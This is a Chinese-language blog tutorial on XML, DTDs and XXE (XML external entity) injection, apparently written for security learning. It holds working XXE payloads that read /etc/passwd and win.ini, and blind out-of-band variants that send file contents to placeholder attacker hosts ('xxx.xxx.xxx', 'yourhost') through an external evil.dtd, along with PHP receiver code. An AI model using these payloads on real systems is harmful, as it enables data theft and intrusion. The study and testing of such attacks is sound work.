zoukankan      html  css  js  c++  java
  • jQuery火箭图标返回顶部代码

    0x00 什么是XML

    1.定义

    XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

    2.文档结构

    XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

    <!--XML声明-->
    <?xml version="1.0"?>
    <!--文档类型定义-->
    <!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
    <!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
    <!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
    <!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
    <!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
    <!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
    ]]]>
    <!--文档元素-->
    <note>
    <to>Dave</to>
    <from>Tom</from>
    <head>Reminder</head>
    <body>You are a good man</body>
    </note>

    3.DTD

    XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

    1.内部声明DTD:

    <!DOCTYPE 根元素 [元素声明]>

    2.引用外部DTD:

    <!DOCTYPE 根元素 SYSTEM "文件名">

    3.内外部DTD文档结合:

    <!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>

    DTD中的一些重要的关键字:

    • DOCTYPE(DTD的声明)
    • ENTITY(实体的声明)
    • SYSTEM、PUBLIC(外部资源申请)

    4.实体类别介绍

    实体主要分为一下四类

    • 内置实体 (Built-in entities)
    • 字符实体 (Character entities)
    • 通用实体 (General entities)
    • 参数实体 (Parameter entities)

    参数实体用%实体名称申明,引用时也用%实体名称;

    其余实体直接用实体名称申明,引用时用&实体名称。

    参数实体只能在DTD中申明,DTD中引用;

    其余实体只能在DTD中申明,可在xml文档中引用。

    注意:参数实体是在DTD中被引用的,而其余实体是在xml文档中被引用的

    0x01 DTD 实体声明:

    1. 内部实体声明

    <!ENTITY 实体名称 “实体的值”>

    一个实体由三部分构成:&符号, 实体名称, 分号 (;),这里&不论在GET还是在POST中都需要进行URL编码,因为是使用参数传入xml的,&符号会被认为是参数间的连接符号,示例:

    <!DOCTYPE foo [<!ELEMENT foo ANY >
    <!ENTITY xxe "Thinking">]>
    <foo>&xxe;</foo>

    2. 外部实体声明

    XML中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以借助各种协议,比如如下的三种:

    file:///path/to/file.ext
    http://url
    php://filter/read=convert.base64-encode/resource=conf.php
    <!ENTITY 实体名称 SYSTEM “URI/URL”>

    实例:

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE xdsec [
    <!ELEMENT methodname ANY >
    <!ENTITY xxe(实体引用名) SYSTEM "file:///etc/passwd"(实体内容) >]>
    <methodcall>
    <methodname>&xxe;</methodname>
    </methodcall>

    这种写法则调用了本地计算机的文件/etc/passwd,XML内容被解析后,文件内容便通过&xxe被存放在了methodname元素中,造成了敏感信息的泄露

    3. 参数实体声明

    <!ENTITY % 实体名称 “实体的值”>
    or
    <!ENTITY % 实体名称 SYSTEM “URI”>

    示例:

    <!DOCTYPE foo [<!ELEMENT foo ANY >
    <!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
    %xxe;]>
    <foo>&evil;</foo>

    xxe漏洞检测

    第一步检测XML是否会被成功解析:

    <?xml version="1.0" encoding="UTF-8"?> 
    <!DOCTYPE ANY [ 
    <!ENTITY name "my name is nMask">]>
    <root>&name;</root>

    如果页面输出了my name is nMask,说明xml文件可以被解析。

    第二步检测服务器是否支持DTD引用外部实体:

    <?xml version=”1.0” encoding=”UTF-8”?> 
    <!DOCTYPE ANY [ 
    <!ENTITY % name SYSTEM "http://localhost/index.html"> 
    %name; 
    ]>

    可通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求index.html的请求。

    从PHP代码层面上

    最开始,引入一个file_get_contents函数,将整个XML数据读入data字符串中,然后交给php的xml解析函数simplexml_load_string()解析,解析后的数据赋给xml变量。

    这一数据即XML字符串中使用的对象(或者说根元素)的数据,并echo输出出来。

    <?php
    $data = file_get_contents('php://input');  //获取提交的XML数据
    $xml = simplexml_load_string($data);  // 交给PHP的XML解析函数
    echo $xml->name;
    ?>

    0x04 xxe漏洞的危害

    xxe漏洞的危害有很多,比如可以文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等,这里就读取任意文件的利用方式进行测试。

    危害1:读取任意文件

    有回显情况

    XML.php

    复制代码
    <?php
    $xml = <<<EOF
    <?xml version = "1.0"?>
    <!DOCTYPE ANY [
        <!ENTITY f SYSTEM "file:///etc/passwd">
    ]>
    <x>&f;</x>
    EOF;
    $data = simplexml_load_string($xml);
    print_r($data);
    ?>
    复制代码

    访问XML.php可以读取etc/passwd文件内容

    该CASE是读取/etc/passwd,有些XML解析库支持列目录,攻击者通过列目录、读文件,获取帐号密码后进一步攻击,如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。

    实例展示:

    可以使用如下的两种方式进行XXE注入攻击。

    复制代码
    <!DOCTYPE foo [<!ELEMENT foo ANY >
    <!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >]>
    <foo>&xxe;</foo>
    
     
    <!DOCTYPE foo [<!ELEMENT foo ANY >
    <!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
    %xxe;]>
    <foo>&evil;</foo>
    复制代码

    外部evil.dtd中的内容。

    <!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >

    当然也可以进行内网站点的入侵。

     

     以上任意文件读取能够成功,除了DTD可有引用外部实体外,还取决于有输出信息,即有回显。那么如果程序没有回显的情况下,该怎么读取文件内容呢?需要使用blind xxe漏洞去利用。

    无回显的情况

    blind xxe漏洞方案1:

    对于传统的XXE来说,要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。

    创建test.php写入以下内容:

    <?php 
    file_put_contents("test.txt", $_GET['file']) ; 
    ?>

    创建index.php写入以下内容:

    复制代码
    <?php 
    $xml=<<<EOF 
    <?xml version="1.0"?> 
    <!DOCTYPE ANY[ 
    <!ENTITY % file SYSTEM "file:///C:/test.txt"> 
    <!ENTITY % remote SYSTEM "http://localhost/test.xml"> 
    %remote;
    %all;
    %send; 
    ]> 
    EOF; 
    $data = simplexml_load_string($xml) ; 
    echo "<pre>" ; 
    print_r($data) ; 
    ?>
    复制代码

    创建test.xml并写入以下内容:

    <!ENTITY % all "<!ENTITY % send SYSTEM 'http://localhost/test.php?file=%file;'>">

    当访问http://localhost/index.php, 存在漏洞的服务器会读出text.txt内容,发送给攻击者服务器上的test.php,然后把读取的数据保存到本地的test.txt中。

    blind xxe漏洞方案2:

    可以将文件内容发送到远程服务器,然后读取。

    复制代码
    <?xml verstion="1.0" encoding="utf-8"?>
    <!DOCTYPE a[
            <!ENTITY % f SYSTEM "http://yourhost/evil.dtd">
            %f;
    ]>
    <a>&b;</a>
    $data = simplexml_load_string($xml);
    print_r($data);
    复制代码

    远程服务器的evil.dtd文件内容

    <!ENTITY b SYSTEM "file:///etc/passwd">

    blind xxe漏洞方案3:

    可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。

    复制代码
    <?xml version=”1.0”?>
    <!DOCTYPE ANY [
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php"> # /etc/issue
    <!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
    %dtd;
    %send;
    ]>
    复制代码

    evil.dtd的内容,内部的%号要进行实体编码成&#x25。

    <!ENTITY % all
    “<!ENTITY &#x25; send SYSTEM ‘http://xxx.xxx.xxx/?%file;’>”
    >
    %all;

    有报错直接查看报错信息。

    无报错需要访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。

  • 相关阅读:
    【题解】2020 年电子科技大学 ACMICPC 暑假前集训 数据结构
    【逆向】某触控板驱动分析过程
    SME 2019 ACM 题解
    数据结构 & 算法模板汇总
    VS2010win32下cocos2dx控制台打印的方法
    CDMA写码与鉴权(转载)
    mapxtreme开发小结2(c#)
    LONG GetWindowLong函数功能
    无边框的对话框的大小拖动实现
    YUV介绍
  • 原文地址:https://www.cnblogs.com/kuaile1314/p/11412779.html
Copyright © 2011-2022 走看看